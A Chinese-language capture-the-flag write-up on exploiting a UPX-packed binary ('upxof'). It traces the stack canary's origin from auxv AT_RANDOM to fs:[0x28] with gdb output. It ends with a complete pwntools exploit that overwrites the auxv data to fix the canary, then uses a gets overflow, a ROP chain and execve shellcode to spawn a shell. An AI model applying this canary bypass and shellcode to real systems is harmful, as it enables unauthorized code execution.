origin_of_canaries

orgin

学弟发给我一题 upxof…
binary
我由于自己的两次sb操作导致在很简单的问题上搞了两个晚上….
通过这题…了解了canary的起源..
我发现没了gdb我啥都不是…壳还是极大地加大了我的调试难度…不知道对于这种题有没有debug的好方法…

analysis

checksec

1
2
3
4
5
6
7
8
[*] '/home/n132/Desktop/upxof'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
Packer: Packed with UPX

看到checksec本以为挺简单的…我真是too young too naivi

  • 丢进ida发现有一个输出password然后一个输入然后做了一大堆工作..mmap然后把代码复制上去,之后好像在解壳.
  • 想用gdb跟遇到了不少麻烦…:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    1.因为没有解壳所以无法直接下断点(调了半天的我目前的方法是边下断点边c之后在下断点再c...为了应对边运行边解壳)
    2.不知为啥bt一看发现都没有ebp的记录...然后导致不能随心所欲的ni...有时候一个ni或者一个finish直接gg
    3.不能finish,ni导致了在一些无关的函数,循环内耗费大量时间(函数:先直接b 函数下一地址,c看看效果没啥大影响就直接过..循环:先x/8i address找到出循环的地址A,然后b *A,c...出循环..)
    4.善用gdb.attach(p,‘’‘’‘’)的第二个参数..把调试命令放进去...
    例如我最终的调试命令
    b *0x400a2e
    c
    b *0x400c93
    c
    b *0x800b4e
    c
    c
    c
    c
    b *0x800d91
    c
    b *0x4005e9
    c
    si
    si
    si
    si
    si
    si
    si
    b *0x7ffff7a99f40
    c
    c
    b *0x7ffff7a9a08e
  • strings的时候发现,尝试了解壳…发现用不太来…最后感觉不用解也可以做就没继续
    1
    2
    $Info: This file is packed with the UPX executable packer http://upx.sf.net $
    $Id: UPX 3.91 Copyright (C) 1996-2013 the UPX Team. All Rights Reserved. $
  • 整个程序是输入一次passwd(最长0x4096),一次let’s go(用的gets),难点是第二次存在canary
  • 学弟说是canary起源…搜了半天,发现了auxv

    auxv

    从内核空间到用户空间的神秘信息载体…
  • auxv
  • auxv
    简而言之 auxv中包含了cannary的地址
    在链接之前就已经确定

LLLLAb

随便编译了一个程序
叫canary

  • gdb canary
  • aslr on
  • start
    1
    2
    3
    4
    5
      0x40062e <main+8>     mov    rax, qword ptr fs:[0x28]
    0x400637 <main+17> mov qword ptr [rbp - 8], rax
    0x40063b <main+21> xor eax, eax
    0x40063d <main+23> mov dword ptr [rbp - 0x34], 0

    fs:[0x28]·中获取了canary…以前一直不知道这个fs是什么…
  • ps -aux |grep canary
    获得proc的 pid
  • cd /proc/{pid}/
  • cp ./auxv ./home/n132/Desktop
    之后用010edit打开
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    21 00 00 00 00 00 00 00 00 60 9C 3A FF 7F 00 00
    10 00 00 00 00 00 00 00 FF FB 8B 0F 00 00 00 00
    06 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00
    11 00 00 00 00 00 00 00 64 00 00 00 00 00 00 00
    03 00 00 00 00 00 00 00 40 00 40 00 00 00 00 00
    04 00 00 00 00 00 00 00 38 00 00 00 00 00 00 00
    05 00 00 00 00 00 00 00 09 00 00 00 00 00 00 00
    07 00 00 00 00 00 00 00 00 30 7C 83 F1 7F 00 00
    08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    09 00 00 00 00 00 00 00 30 05 40 00 00 00 00 00
    0B 00 00 00 00 00 00 00 E8 03 00 00 00 00 00 00
    0C 00 00 00 00 00 00 00 E8 03 00 00 00 00 00 00
    0D 00 00 00 00 00 00 00 E8 03 00 00 00 00 00 00
    0E 00 00 00 00 00 00 00 E8 03 00 00 00 00 00 00
    17 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    19 00 00 00 00 00 00 00 89 08 8C 3A FF 7F 00 00
    1F 00 00 00 00 00 00 00 DE 2F 8C 3A FF 7F 00 00
    0F 00 00 00 00 00 00 00 99 08 8C 3A FF 7F 00 00
    00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
    ```
    对照[glibc/elf/elf.h][4]内的宏定义我们可以理解auxv了

    ```bin
    AT_SYSINFO_EHDR: 0x7fff3a9c6000
    AT_HWCAP: f8bfbff
    AT_PAGESZ: 0x1000
    AT_CLKTCK: 100
    AT_PHDR: 0x400040
    AT_PHENT: 56
    AT_PHNUM: 9
    AT_BASE: 0x7ff1837c3000
    AT_FLAGS: 0x0
    AT_ENTRY: 0x400530
    AT_UID: 1000
    AT_EUID: 1000
    AT_GID: 1000
    AT_EGID: 1000
    AT_SECURE: 0
    AT_RANDOM: 0x7fff3a8c0889
    AT_EXECFN: 0x7fff3a8c2fde
    AT_PLATFORM: 0x7fff3a8c0899
    进入gdb
    1
    2
    3
    4
    5
    6
    7
    8
    n132>>> x/s 0x7fff3a8c2fde
    0x7fff3a8c2fde: "/home/n132/Desk"...
    n132>>> x/s 0x7fff3a8c0899
    0x7fff3a8c0899: "x86_64"
    n132>>> x/8gx 0x7fff3a8c0889
    0x7fff3a8c0889: 0xb85039cc2a5b826f
    n132>>> canary
    canary : 0xb85039cc2a5b8200
    可以发现auxv的内的变量正如文章内所说是
    Mysterious carriers of information from kernelspace to userspace.
    实现内核到用户空间的信息交流.从而实现了canary

文章中还提及在程序一开始AT_RANDOM,AT_EXECFN,AT_PLATFORM和其他的值会被push到栈上

1
2
3
4
5
6
7
8
stack 1000
...
1096| 0x7fff3a8c0848 --> 0x7fff3a8c0889 --> 0xb85039cc2a5b826f
1104| 0x7fff3a8c0850 --> 0x1f
1112| 0x7fff3a8c0858 --> 0x7fff3a8c2fde ("/home/n132/Desk"...)
1120| 0x7fff3a8c0860 --> 0xf
1128| 0x7fff3a8c0868 --> 0x7fff3a8c0899 --> 0x34365f363878 ('x86_64')
...

…一个大胆的想法诞生了…我试着改写栈上的值
首先先看一下内存中存在AT_RANDOM的地方…

1
2
3
4
5
6
7
8
9
10
n132>>> searchmem 0x7fff3a8c0889
Searching for '0x7fff3a8c0889' in: None ranges
Found 1 results, display max 1 items:
[stack] : 0x7fff3a8c0848 --> 0x7fff3a8c0889 --> 0xb85039cc2a5b826f
n132>>> x/8gx 0x7ff1839cd728
0x7ff1839cd728: 0xb85039cc2a5b8200 0x23cdf44b7dcc94de
...
n132>>> x/8gx 0x7fff3a8c0889
0x7fff3a8c0889: 0xb85039cc2a5b826f 0x23cdf44b7dcc94de
0x7fff3a8c0899: 0x000034365f363878 ...

存在canary的地方

1
2
3
4
5
n132>>> searchmem 0xb85039cc2a5b8200
Searching for '0xb85039cc2a5b8200' in: None ranges
Found 2 results, display max 2 items:
mapped : 0x7ff1839cd728 --> 0xb85039cc2a5b8200
[stack] : 此处是main开始时push上去的所以不算

因为是从fs:[0x28]上取得canary…然后地址0x7ff1839cd728也是0x28结尾
于是我多做了几次实验发现都是0x28结尾所以
fs-->0x7ff1839cd728
也就是得到了canary的起源

1
2
       来源于                            来源于           来源于
Canany------>0x7ff1839cd728(fs:[0x28])-------->AT_RANDOM------>Kernel

所以讲道理 我们只要改写mapped : 0x7ff1839cd728 --> 0xb85039cc2a5b8200
就可以破坏canary.或者我们在load前改写掉AT_RANDOM就可以控制 canary

于是关于这题邪恶的想法在我脑中产生.

思路

  • 乘着没有load时 overflow 掉在栈上关于的结构体设置canary为已知的值
  • 接着程序会解壳这时候就可以溢出做rop 跳到我们的shellcode.

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50

from pwn import *
rdi=0x0000000000800766
p=process("./upxof")
p.readuntil("password:")
"""
gdb.attach(p,'''
b *0x400a2e
c
b *0x400c93
c
b *0x800b4e
c
c
c
c
b *0x800d91
c
b *0x4005e9
c
si
si
si
si
si
si
si
b *0x7ffff7a99f40
c
c
b *0x7ffff7a9a08e
''')
"""
#context.log_level='debug'
s=p64(0)*14+p64(0x1)+p64(0x600100)+p64(0)
s+=p64(0x600100)*23+p64(0)
s+=p64(0x21)+p64(0x600100)+p64(0x10)+p64(0x78bfbff)+p64(6)+p64(0x1000)+p64(0x11)+p64(0x64)+p64(3)+p64(0x400040)
s+=p64(0x4)+p64(0x38)+p64(0x5)+p64(2)+p64(7)+p64(0)+p64(8)+p64(0)+p64(9)+p64(0x400988)
s+=p64(0xb)+p64(0x3e8)+p64(0xc)+p64(0x3e8)+p64(0xd)+p64(0x3e8)+p64(0xe)+p64(0x3e8)+p64(0x17)
s+=p64(0)+p64(0x19)
s+=p64(0x600100)+p64(0x1f)+p64(0x600100)+p64(0xf)+p64(0x600100)
p.sendline("12345678"+s)
addr=0x00602000-0x200
p.sendlineafter("let's go:","\x00"*0x408+p64(0)+p64(addr+0x80-0x8)+p64(rdi)+p64(addr)+p64(0x400763)+p64(0x400763)+p64(0x400763))
context.arch='amd64'
sleep(1)
shellcode="\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
shellcode=shellcode.ljust(0x80,'\x00')+p64(addr)
p.sendline(shellcode)
p.interactive()

review.

调试是个好东西….没了调试犯的傻逼错误都找不出来…
不知道这个程序是咋弄出来的.